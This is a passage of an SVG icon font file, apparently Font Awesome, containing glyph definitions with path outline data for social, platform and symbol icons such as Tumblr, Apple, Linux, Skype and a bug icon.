t-5.5 35q-9 50 -26.5 150t-28 161.5t-23.5 147.5t-22 158q3 26 17.5 48.5t31.5 37.5t45 30t46 22.5t48 18.5q125 46 313 64q379 37 676 -50q155 -46 215 -122q16 -20 16.5 -51t-5.5 -54z" />
    <glyph glyph-name="bitbucket_sign" unicode="&#xf172;" 
d="M848 666q0 43 -41 66t-77 1q-43 -20 -42.5 -72.5t43.5 -70.5q39 -23 81 4t36 72zM928 682q8 -66 -36 -121t-110 -61t-119 40t-56 113q-2 49 25.5 93t72.5 64q70 31 141.5 -10t81.5 -118zM1100 1073q-20 -21 -53.5 -34t-53 -16t-63.5 -8q-155 -20 -324 0q-44 6 -63 9.5
t-52.5 16t-54.5 32.5q13 19 36 31t40 15.5t47 8.5q198 35 408 1q33 -5 51 -8.5t43 -16t39 -31.5zM1142 327q0 7 5.5 26.5t3 32t-17.5 16.5q-161 -106 -365 -106t-366 106l-12 -6l-5 -12q26 -154 41 -210q47 -81 204 -108q249 -46 428 53q34 19 49 51.5t22.5 85.5t12.5 71z
M1272 1020q9 53 -8 75q-43 55 -155 88q-216 63 -487 36q-132 -12 -226 -46q-38 -15 -59.5 -25t-47 -34t-29.5 -54q8 -68 19 -138t29 -171t24 -137q1 -5 5 -31t7 -36t12 -27t22 -28q105 -80 284 -100q259 -28 440 63q24 13 39.5 23t31 29t19.5 40q48 267 80 473zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="tumblr" unicode="&#xf173;" horiz-adv-x="1024" 
d="M944 207l80 -237q-23 -35 -111 -66t-177 -32q-104 -2 -190.5 26t-142.5 74t-95 106t-55.5 120t-16.5 118v544h-168v215q72 26 129 69.5t91 90t58 102t34 99t15 88.5q1 5 4.5 8.5t7.5 3.5h244v-424h333v-252h-334v-518q0 -30 6.5 -56t22.5 -52.5t49.5 -41.5t81.5 -14
q78 2 134 29z" />
    <glyph glyph-name="tumblr_sign" unicode="&#xf174;" 
d="M1136 75l-62 183q-44 -22 -103 -22q-36 -1 -62 10.5t-38.5 31.5t-17.5 40.5t-5 43.5v398h257v194h-256v326h-188q-8 0 -9 -10q-5 -44 -17.5 -87t-39 -95t-77 -95t-118.5 -68v-165h130v-418q0 -57 21.5 -115t65 -111t121 -85.5t176.5 -30.5q69 1 136.5 25t85.5 50z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="long_arrow_down" unicode="&#xf175;" horiz-adv-x="768" 
d="M765 237q8 -19 -5 -35l-350 -384q-10 -10 -23 -10q-14 0 -24 10l-355 384q-13 16 -5 35q9 19 29 19h224v1248q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1248h224q21 0 29 -19z" />
    <glyph glyph-name="long_arrow_up" unicode="&#xf176;" horiz-adv-x="768" 
d="M765 1043q-9 -19 -29 -19h-224v-1248q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1248h-224q-21 0 -29 19t5 35l350 384q10 10 23 10q14 0 24 -10l355 -384q13 -16 5 -35z" />
    <glyph glyph-name="long_arrow_left" unicode="&#xf177;" horiz-adv-x="1792" 
d="M1792 736v-192q0 -14 -9 -23t-23 -9h-1248v-224q0 -21 -19 -29t-35 5l-384 350q-10 10 -10 23q0 14 10 24l384 354q16 14 35 6q19 -9 19 -29v-224h1248q14 0 23 -9t9 -23z" />
    <glyph glyph-name="long_arrow_right" unicode="&#xf178;" horiz-adv-x="1792" 
d="M1728 643q0 -14 -10 -24l-384 -354q-16 -14 -35 -6q-19 9 -19 29v224h-1248q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h1248v224q0 21 19 29t35 -5l384 -350q10 -10 10 -23z" />
    <glyph glyph-name="apple" unicode="&#xf179;" horiz-adv-x="1408" 
d="M1393 321q-39 -125 -123 -250q-129 -196 -257 -196q-49 0 -140 32q-86 32 -151 32q-61 0 -142 -33q-81 -34 -132 -34q-152 0 -301 259q-147 261 -147 503q0 228 113 374q113 144 284 144q72 0 177 -30q104 -30 138 -30q45 0 143 34q102 34 173 34q119 0 213 -65
q52 -36 104 -100q-79 -67 -114 -118q-65 -94 -65 -207q0 -124 69 -223t158 -126zM1017 1494q0 -61 -29 -136q-30 -75 -93 -138q-54 -54 -108 -72q-37 -11 -104 -17q3 149 78 257q74 107 250 148q1 -3 2.5 -11t2.5 -11q0 -4 0.5 -10t0.5 -10z" />
    <glyph glyph-name="windows" unicode="&#xf17a;" horiz-adv-x="1664" 
d="M682 530v-651l-682 94v557h682zM682 1273v-659h-682v565zM1664 530v-786l-907 125v661h907zM1664 1408v-794h-907v669z" />
    <glyph glyph-name="android" unicode="&#xf17b;" horiz-adv-x="1408" 
d="M493 1053q16 0 27.5 11.5t11.5 27.5t-11.5 27.5t-27.5 11.5t-27 -11.5t-11 -27.5t11 -27.5t27 -11.5zM915 1053q16 0 27 11.5t11 27.5t-11 27.5t-27 11.5t-27.5 -11.5t-11.5 -27.5t11.5 -27.5t27.5 -11.5zM103 869q42 0 72 -30t30 -72v-430q0 -43 -29.5 -73t-72.5 -30
t-73 30t-30 73v430q0 42 30 72t73 30zM1163 850v-666q0 -46 -32 -78t-77 -32h-75v-227q0 -43 -30 -73t-73 -30t-73 30t-30 73v227h-138v-227q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73l-1 227h-74q-46 0 -78 32t-32 78v666h918zM931 1255q107 -55 171 -153.5t64 -215.5
h-925q0 117 64 215.5t172 153.5l-71 131q-7 13 5 20q13 6 20 -6l72 -132q95 42 201 42t201 -42l72 132q7 12 20 6q12 -7 5 -20zM1408 767v-430q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73v430q0 43 30 72.5t72 29.5q43 0 73 -29.5t30 -72.5z" />
    <glyph glyph-name="linux" unicode="&#xf17c;" 
d="M663 1125q-11 -1 -15.5 -10.5t-8.5 -9.5q-5 -1 -5 5q0 12 19 15h10zM750 1111q-4 -1 -11.5 6.5t-17.5 4.5q24 11 32 -2q3 -6 -3 -9zM399 684q-4 1 -6 -3t-4.5 -12.5t-5.5 -13.5t-10 -13q-10 -11 -1 -12q4 -1 12.5 7t12.5 18q1 3 2 7t2 6t1.5 4.5t0.5 4v3t-1 2.5t-3 2z
M1254 325q0 18 -55 42q4 15 7.5 27.5t5 26t3 21.5t0.5 22.5t-1 19.5t-3.5 22t-4 20.5t-5 25t-5.5 26.5q-10 48 -47 103t-72 75q24 -20 57 -83q87 -162 54 -278q-11 -40 -50 -42q-31 -4 -38.5 18.5t-8 83.5t-11.5 107q-9 39 -19.5 69t-19.5 45.5t-15.5 24.5t-13 15t-7.5 7
q-14 62 -31 103t-29.5 56t-23.5 33t-15 40q-4 21 6 53.5t4.5 49.5t-44.5 25q-15 3 -44.5 18t-35.5 16q-8 1 -11 26t8 51t36 27q37 3 51 -30t4 -58q-11 -19 -2 -26.5t30 -0.5q13 4 13 36v37q-5 30 -13.5 50t-21 30.5t-23.5 15t-27 7.5q-107 -8 -89 -134q0 -15 -1 -15
q-9 9 -29.5 10.5t-33 -0.5t-15.5 5q1 57 -16 90t-45 34q-27 1 -41.5 -27.5t-16.5 -59.5q-1 -15 3.5 -37t13 -37.5t15.5 -13.5q10 3 16 14q4 9 -7 8q-7 0 -15.5 14.5t-9.5 33.5q-1 22 9 37t34 14q17 0 27 -21t9.5 -39t-1.5 -22q-22 -15 -31 -29q-8 -12 -27.5 -23.5
t-20.5 -12.5q-13 -14 -15.5 -27t7.5 -18q14 -8 25 -19.5t16 -19t18.5 -13t35.5 -6.5q47 -2 102 15q2 1 23 7t34.5 10.5t29.5 13t21 17.5q9 14 20 8q5 -3 6.5 -8.5t-3 -12t-16.5 -9.5q-20 -6 -56.5 -21.5t-45.5 -19.5q-44 -19 -70 -23q-25 -5 -79 2q-10 2 -9 -2t17 -19
q25 -23 67 -22q17 1 36 7t36 14t33.5 17.5t30 17t24.5 12t17.5 2.5t8.5 -11q0 -2 -1 -4.5t-4 -5t-6 -4.5t-8.5 -5t-9 -4.5t-10 -5t-9.5 -4.5q-28 -14 -67.5 -44t-66.5 -43t-49 -1q-21 11 -63 73q-22 31 -25 22q-1 -3 -1 -10q0 -25 -15 -56.5t-29.5 -55.5t-21 -58t11.5 -63
q-23 -6 -62.5 -90t-47.5 -141q-2 -18 -1.5 -69t-5.5 -59q-8 -24 -29 -3q-32 31 -36 94q-2 28 4 56q4 19 -1 18q-2 -1 -4 -5q-36 -65 10 -166q5 -12 25 -28t24 -20q20 -23 104 -90.5t93 -76.5q16 -15 17.5 -38t-14 -43t-45.5 -23q8 -15 29 -44.5t28 -54t7 -70.5q46 24 7 92
q-4 8 -10.5 16t-9.5 12t-2 6q3 5 13 9.5t20 -2.5q46 -52 166 -36q133 15 177 87q23 38 34 30q12 -6 10 -52q-1 -25 -23 -92q-9 -23 -6 -37.5t24 -15.5q3 19 14.5 77t13.5 90q2 21 -6.5 73.5t-7.5 97t23 70.5q15 18 51 18q1 37 34.5 53t72.5 10.5t60 -22.5zM626 1152
q3 17 -2.5 30t-11.5 15q-9 2 -9 -7q2 -5 5 -6q10 0 7 -15q-3 -20 8 -20q3 0 3 3zM1045 955q-2 8 -6.5 11.5t-13 5t-14.5 5.5q-5 3 -9.5 8t-7 8t-5.5 6.5t-4 4t-4 -1.5q-14 -16 7 -43.5t39 -31.5q9 -1 14.5 8t3.5 20zM867 1168q0 11 -5 19.5t-11 12.5t-9 3q-6 0 -8 -2t0 -4
t5 -3q14 -4 18 -31q0 -3 8 2q2 2 2 3zM921 1401q0 2 -2.5 5t-9 7t-9.5 6q-15 15 -24 15q-9 -1 -11.5 -7.5t-1 -13t-0.5 -12.5q-1 -4 -6 -10.5t-6 -9t3 -8.5q4 -3 8 0t11 9t15 9q1 1 9 1t15 2t9 7zM1486 60q20 -12 31 -24.5t12 -24t-2.5 -22.5t-15.5 -22t-23.5 -19.5
t-30 -18.5t-31.5 -16.5t-32 -15.5t-27 -13q-38 -19 -85.5 -56t-75.5 -64q-17 -16 -68 -19.5t-89 14.5q-18 9 -29.5 23.5t-16.5 25.5t-22 19.5t-47 9.5q-44 1 -130 1q-19 0 -57 -1.5t-58 -2.5q-44 -1 -79.5 -15t-53.5 -30t-43.5 -28.5t-53.5 -11.5q-29 1 -111 31t-146 43
q-19 4 -51 9.5t-50 9t-39.5 9.5t-33.5 14.5t-17 19.5q-10 23 7 66.5t18 54.5q1 16 -4 40t-10 42.5t-4.5 36.5t10.5 27q14 12 57 14t60 12q30 18 42 35t12 51q21 -73 -32 -106q-32 -20 -83 -15q-34 3 -43 -10q-13 -15 5 -57q2 -6 8 -18t8.5 -18t4.5 -17t1 -22q0 -15 -17 -49
t-14 -48q3 -17 37 -26q20 -6 84.5 -18.5t99.5 -20.5q24 -6 74 -22t82.5 -23t55.5 -4q43 6 64.5 28t23 48t-7.5 58.5t-19 52t-20 36.5q-121 190 -169 242q-68 74 -113 40q-11 -9 -15 15q-3 16 -2 38q1 29 10 52t24 47t22 42q8 21 26.5 72t29.5 78t30 61t39 54
q110 143 124 195q-12 112 -16 310q-2 90 24 151.5t106 104.5q39 21 104 21q53 1 106 -13.5t89 -41.5q57 -42 91.5 -121.5t29.5 -147.5q-5 -95 30 -214q34 -113 133 -218q55 -59 99.5 -163t59.5 -191q8 -49 5 -84.5t-12 -55.5t-20 -22q-10 -2 -23.5 -19t-27 -35.5
t-40.5 -33.5t-61 -14q-18 1 -31.5 5t-22.5 13.5t-13.5 15.5t-11.5 20.5t-9 19.5q-22 37 -41 30t-28 -49t7 -97q20 -70 1 -195q-10 -65 18 -100.5t73 -33t85 35.5q59 49 89.5 66.5t103.5 42.5q53 18 77 36.5t18.5 34.5t-25 28.5t-51.5 23.5q-33 11 -49.5 48t-15 72.5
t15.5 47.5q1 -31 8 -56.5t14.5 -40.5t20.5 -28.5t21 -19t21.5 -13t16.5 -9.5z" />
    <glyph glyph-name="dribble" unicode="&#xf17d;" 
d="M1024 36q-42 241 -140 498h-2l-2 -1q-16 -6 -43 -16.5t-101 -49t-137 -82t-131 -114.5t-103 -148l-15 11q184 -150 418 -150q132 0 256 52zM839 643q-21 49 -53 111q-311 -93 -673 -93q-1 -7 -1 -21q0 -124 44 -236.5t124 -201.5q50 89 123.5 166.5t142.5 124.5t130.5 81
t99.5 48l37 13q4 1 13 3.5t13 4.5zM732 855q-120 213 -244 378q-138 -65 -234 -186t-128 -272q302 0 606 80zM1416 536q-210 60 -409 29q87 -239 128 -469q111 75 185 189.5t96 250.5zM611 1277q-1 0 -2 -1q1 1 2 1zM1201 1132q-185 164 -433 164q-76 0 -155 -19
q131 -170 246 -382q69 26 130 60.5t96.5 61.5t65.5 57t37.5 40.5zM1424 647q-3 232 -149 410l-1 -1q-9 -12 -19 -24.5t-43.5 -44.5t-71 -60.5t-100 -65t-131.5 -64.5q25 -53 44 -95q2 -5 6.5 -17t7.5 -17q36 5 74.5 7t73.5 2t69 -1.5t64 -4t56.5 -5.5t48 -6.5t36.5 -6
t25 -4.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="skype" unicode="&#xf17e;" 
d="M1173 473q0 50 -19.5 91.5t-48.5 68.5t-73 49t-82.5 34t-87.5 23l-104 24q-30 7 -44 10.5t-35 11.5t-30 16t-16.5 21t-7.5 30q0 77 144 77q43 0 77 -12t54 -28.5t38 -33.5t40 -29t48 -12q47 0 75.5 32t28.5 77q0 55 -56 99.5t-142 67.5t-182 23q-68 0 -132 -15.5
t-119.5 -47t-89 -87t-33.5 -128.5q0 -61 19 -106.5t56 -75.5t80 -48.5t103 -32.5l146 -36q90 -22 112 -36q32 -20 32 -60q0 -39 -40 -64.5t-105 -25.5q-51 0 -91.5 16t-65 38.5t-45.5 45t-46 38.5t-54 16q-50 0 -75.5 -30t-25.5 -75q0 -92 122 -157.5t291 -65.5
q73 0 140 18.5t122.5 53.5t88.5 93.5t33 131.5zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5q-130 0 -234 80q-77 -16 -150 -16q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5q0 73 16 150q-80 104 -80 234q0 159 112.5 271.5t271.5 112.5q130 0 234 -80
q77 16 150 16q143 0 273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -73 -16 -150q80 -104 80 -234z" />
    <glyph glyph-name="foursquare" unicode="&#xf180;" horiz-adv-x="1280" 
d="M1000 1102l37 194q5 23 -9 40t-35 17h-712q-23 0 -38.5 -17t-15.5 -37v-1101q0 -7 6 -1l291 352q23 26 38 33.5t48 7.5h239q22 0 37 14.5t18 29.5q24 130 37 191q4 21 -11.5 40t-36.5 19h-294q-29 0 -48 19t-19 48v42q0 29 19 47.5t48 18.5h346q18 0 35 13.5t20 29.5z
M1227 1324q-15 -73 -53.5 -266.5t-69.5 -350t-35 -173.5q-6 -22 -9 -32.5t-14 -32.5t-24.5 -33t-38.5 -21t-58 -10h-271q-13 0 -22 -10q-8 -9 -426 -494q-22 -25 -58.5 -28.5t-48.5 5.5q-55 22 -55 98v1410q0 55 38 102.5t120 47.5h888q95 0 127 -53t10 -159zM1227 1324
l-158 -790q4 17 35 173.5t69.5 350t53.5 266.5z" />
    <glyph glyph-name="trello" unicode="&#xf181;" 
d="M704 192v1024q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-1024q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1376 576v640q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-640q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408
q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="female" unicode="&#xf182;" horiz-adv-x="1280" 
d="M1280 480q0 -40 -28 -68t-68 -28q-51 0 -80 43l-227 341h-45v-132l247 -411q9 -15 9 -33q0 -26 -19 -45t-45 -19h-192v-272q0 -46 -33 -79t-79 -33h-160q-46 0 -79 33t-33 79v272h-192q-26 0 -45 19t-19 45q0 18 9 33l247 411v132h-45l-227 -341q-29 -43 -80 -43
q-40 0 -68 28t-28 68q0 29 16 53l256 384q73 107 176 107h384q103 0 176 -107l256 -384q16 -24 16 -53zM864 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="male" unicode="&#xf183;" horiz-adv-x="1024" 
d="M1024 832v-416q0 -40 -28 -68t-68 -28t-68 28t-28 68v352h-64v-912q0 -46 -33 -79t-79 -33t-79 33t-33 79v464h-64v-464q0 -46 -33 -79t-79 -33t-79 33t-33 79v912h-64v-352q0 -40 -28 -68t-68 -28t-68 28t-28 68v416q0 80 56 136t136 56h640q80 0 136 -56t56 -136z
M736 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="gittip" unicode="&#xf184;" 
d="M773 234l350 473q16 22 24.5 59t-6 85t-61.5 79q-40 26 -83 25.5t-73.5 -17.5t-54.5 -45q-36 -40 -96 -40q-59 0 -95 40q-24 28 -54.5 45t-73.5 17.5t-84 -25.5q-46 -31 -60.5 -79t-6 -85t24.5 -59zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="sun" unicode="&#xf185;" horiz-adv-x="1792" 
d="M1472 640q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5t45.5 -223.5t123 -184t184 -123t223.5 -45.5t223.5 45.5t184 123t123 184t45.5 223.5zM1748 363q-4 -15 -20 -20l-292 -96v-306q0 -16 -13 -26q-15 -10 -29 -4
l-292 94l-180 -248q-10 -13 -26 -13t-26 13l-180 248l-292 -94q-14 -6 -29 4q-13 10 -13 26v306l-292 96q-16 5 -20 20q-5 17 4 29l180 248l-180 248q-9 13 -4 29q4 15 20 20l292 96v306q0 16 13 26q15 10 29 4l292 -94l180 248q9 12 26 12t26 -12l180 -248l292 94
q14 6 29 -4q13 -10 13 -26v-306l292 -96q16 -5 20 -20q5 -16 -4 -29l-180 -248l180 -248q9 -12 4 -29z" />
    <glyph glyph-name="_366" unicode="&#xf186;" 
d="M1262 233q-54 -9 -110 -9q-182 0 -337 90t-245 245t-90 337q0 192 104 357q-201 -60 -328.5 -229t-127.5 -384q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51q144 0 273.5 61.5t220.5 171.5zM1465 318q-94 -203 -283.5 -324.5t-413.5 -121.5q-156 0 -298 61
t-245 164t-164 245t-61 298q0 153 57.5 292.5t156 241.5t235.5 164.5t290 68.5q44 2 61 -39q18 -41 -15 -72q-86 -78 -131.5 -181.5t-45.5 -218.5q0 -148 73 -273t198 -198t273 -73q118 0 228 51q41 18 72 -13q14 -14 17.5 -34t-4.5 -38z" />
    <glyph glyph-name="archive" unicode="&#xf187;" horiz-adv-x="1792" 
d="M1088 704q0 26 -19 45t-45 19h-256q-26 0 -45 -19t-19 -45t19 -45t45 -19h256q26 0 45 19t19 45zM1664 896v-960q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v960q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1728 1344v-256q0 -26 -19 -45t-45 -19h-1536
q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1536q26 0 45 -19t19 -45z" />
    <glyph glyph-name="bug" unicode="&#xf188;" horiz-adv-x="1664" 
d="M1632 576q0 -26 -19 -45t-45 -19h-224q0 -171 -67 -290l208 -209q19 -19 19 -45t-19 -45q-18 -19 -45 -19t-45 19l-198 197q-5 -5 -15 -13t-42 -28.5t-65 -36.5t-82 -29t-97 -13v896h-128v-896q-51 0 -101.5 13.5t-87 33t-66 39t-43.5 32.5l-15 14l-183 -207
q-20 -21 -48 -21q-24 0 -43 16q-19 18 -20.5 44.5t15.5 46.5l202 227q-58 114 -58 274h-224q-26 0 -45 19t-19 45t19 45t45 19h224v294l-173 173q-19 19 -19 45t19 45t45 19t45 -19l173 -173h844l173 173q19 19 45 19t45 -19t19 -45t-19 -45l-173 -173v-294h224q26 0 45 -19
t19 -45zM1152 1152h-640q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5z" />
    <glyph glyph-name="vk" unicode="&#xf189;" horiz-adv-x="1920" 
d="M1917 1016q23 -64 -150 -294q-24 -32 -65 -85q-40 -51 -55 -72t-30.5 -49.5t-12 -42t13 -34.5t32.5 -43t57 -53q4 -2 5 -4q141 -131 191 -221q3 -5 6.5 -12.5t7 -26.5t-0.5 -34t-25 -27.5t-59 -12.5l-256 -4q-24 -5 -56 5t-52 22l-20 12q-30 21 -70 64t-68.5 77.5t-61 58
t-56.5 15.5q-3 -1 -8 -3.5t-17 -14.5t-21.5 -29.5t-17 -52t-6.5 -77.5q0 -15 -3.5 -27.5t-7.5 -18.5l-4 -5q-18 -19 -53 -22h-115q-71 -4 -146 16.5t-131.5 53t-103 66t-70.5 57.5l-25 24q-10 10 -27.5 30t-71.5 91t-106 151t-122.5 211t-130.5 272q-6 16 -6 27t3 16l4 6
q15 19 57 19l274 2q12 -2 23 -6.5t16 -8.5l5 -3q16 -11 24 -32q20 -50 46 -103.5t41 -81.5l16 -29q29 -60 56 -104t48.5 -68.5t41.5 -38.5t34 -14t27 5q2 1 5 5t12 22t13.5 47t9.5 81t0 125q-2 40 -9 73t-14 46l-6 12q-25 34 -85 43q-13 2 5 24q16 19 38 30q53 26 239 24
q82 -1 135 -13q20 -5 33.5 -13.5t20.5 -24t10.5 -32t3.5 -45.5t-1 -55t-2.5 -70.5t-1.5 -82.5q0 -11 -1 -42t-0.5 -48t3.5 -40.5t11.5 -39t22.5 -24.5q8 -2 17 -4t26 11t38 34.5t52 67t68 107.5q60 104 107 225q4 10 10 17.5t11 10.5l4 3l5 2.5t13 3t20 0.5l288 2
q39 5 64 -2.5t31 -16.5z" />
    <glyph glyph-name="weibo" unicode="&#xf18a;" horiz-adv-x="1792" 
d="M675 252q21 34 11 69t-45 50q-34 14 -73 1t-60 -46q-22 -34 -13 -68.5t43 -50.5t74.5 -2.5t62.5 47.5zM769 373q8 13 3.5 26.5t-17.5 18.5q-14 5 -28.5 -0.5t-21.5 -18.5q-17 -31 13 -45q14 -5 29 0.5t22 18.5zM943 266q-45 -102 -158 -150t-224 -12
q-107 34 -147.5 126.5t6.5 187.5q47 93 151.5 139t210.5 19q111 -29 158.5 -119.5t2.5 -190.5zM1255 426q-9 96 -89 170t-208.5 109t-274.5 21q-223 -23 -369.5 -141.5t-132.5 -264.5q9 -96 89 -170t208.5 -109t274.5 -21q223 23 369.5 141.5t132.5 264.5zM1563 422
q0 -68 -37 -139.5t-109 -137t-168.5 -117.5t-226 -83t-270.5 -31t-275 33.5t-240.5 93t-171.5 151t-65 199.5q0 115 69.5 245t197.5 258q169 169 341.5 236t246.5 -7q65 -64 20 -209q-4 -14 -1 -20t10 -7t14.5 0.5t13.5 3.5l6 2q139 59 246 59t153 -61q45 -63 0 -178
q-2 -13 -4.5 -20t4.5 -12.5t12 -7.5t17 -6q57 -18 103 -47t80 -81.5t34 -116.5zM1489 1046q42 -47 54.5 -108.5t-6.5 -117.5q-8 -23 -29.5 -34t-44.5 -4q-23 8 -34 29.5t-4 44.5q20 63 -24 111t-107 35q-24 -5 -45 8t-25 37q-5 24 8 44.5t37 25.5q60 13 119 -5.5t101 -65.5z
M1670 1209q87 -96 112.5 -222.5t-13.5 -241.5q-9 -27 -34 -40t-52 -4t-40 34t-5 52q28 82 10 172t-80 158q-62 69 -148 95.5t-173 8.5q-28 -6 -52 9.5t-30 43.5t9.5 51.5t43.5 29.5q123 26 244 -11.5t208 -134.5z" />
    <glyph glyph-name="renren" unicode="&#xf18b;" 
d="M1133 -34q-171 -94 -368 -94q-196 0 -367 94q138 87 235.5 211t131.5 268q35 -144 132.5 -268t235.5 -211zM638 1394v-485q0 -252 -126.5 -459.5t-330.5 -306.5q-181 215 -181 495q0 187 83.5 349.5t229.5 269.5t325 137zM1536 638q0 -280 -181 -495
q-204 99 -330.5 306.5t-126.5 459.5v485q179 -30 325 -137t229.5 -269.5t83.5 -349.5z" />
    <glyph glyph-name="_372" unicode="&#xf18c;" horiz-adv-x="1408" 
d="M1402 433q-32 -80 -76 -138t-91 -88.5t-99 -46.5t-101.5 -14.5t-96.5 8.5t-86.5 22t-69.5 27.5t-46 22.5l-17 10q-113 -228 -289.5 -359.5t-384.5 -132.5q-19 0 -32 13t-13 32t13 31.5t32 12.5q173 1 322.5 107.5t251.5 294.5q-36 -14 -72 -23t-83 -13t-91 2.5t-93 28.5
t-92 59t-84.5 100t-74.5 146q114 47 214 57t167.5 -7.5t124.5 -56.5t88.5 -77t56.5 -82q53 131 79 291q-7 -1 -18 -2.5t-46.5 -2.5t-69.5 0.5t-81.5 10t-88.5 23t-84 42.5t-75 65t-54.5 94.5t-28.5 127.5q70 28 133.5 36.5t112.5 -1t92 -30t73.5 -50t56 -61t42 -63t27.5 -56
t16 -39.5l4 -16q12 122 12 195q-8 6 -21.5 16t-49 44.5t-63.5 71.5t-54 93t-33 112.5t12 127t70 138.5q73 -25 127.5 -61.5t84.5 -76.5t48 -85t20.5 -89t-0.5 -85.5t-13 -76.5t-19 -62t-17 -42l-7 -15q1 -4 1 -50t-1 -72q3 7 10 18.5t30.5 43t50.5 58t71 55.5t91.5 44.5
t112 14.5t132.5 -24q-2 -78 -21.5 -141.5t-50 -104.5t-69.5 -71.5t-81.5 -45.5t-84.5 -24t-80 -9.5t-67.5 1t-46.5 4.5l-17 3q-23 -147 -73 -283q6 7 18 18.5t49.5 41t77.5 52.5t99.5 42t117.5 20t129 -23.5t137 -77.5z" />
    <glyph glyph-name="stack_exchange" unicode="&#xf18d;" horiz-adv-x="1280" 
d="M1259 283v-66q0 -85 -57.5 -144.5t-138.5 -59.5h-57l-260 -269v269h-529q-81 0 -138.5 59.5t-57.5 144.5v66h1238zM1259 609v-255h-1238v255h1238zM1259 937v-255h-1238v255h1238zM1259 1077v-67h-1238v67q0 84 57.5 143.5t138.5 59.5h846q81 0 138.5 -59.5t57.5 -143.5z
" />
    <glyph glyph-name="_374" unicode="&#xf18e;" 
d="M1152 640q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="arrow_circle_alt_left" unicode="&#xf190;" 
d="M1152 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-192q0 -14 -9 -23t-23 -9q-12 0 -24 10l-319 319q-9 9 -9 23t9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h352q13 0 22.5 -9.5t9.5 -22.5zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_376" unicode="&#xf191;" 
d="M1024 960v-640q0 -26 -19 -45t-45 -19q-20 0 -37 12l-448 320q-27 19 -27 52t27 52l448 320q17 12 37 12q26 0 45 -19t19 -45zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="dot_circle_alt" unicode="&#xf192;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5
t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_378" unicode="&#xf193;" horiz-adv-x="1664" 
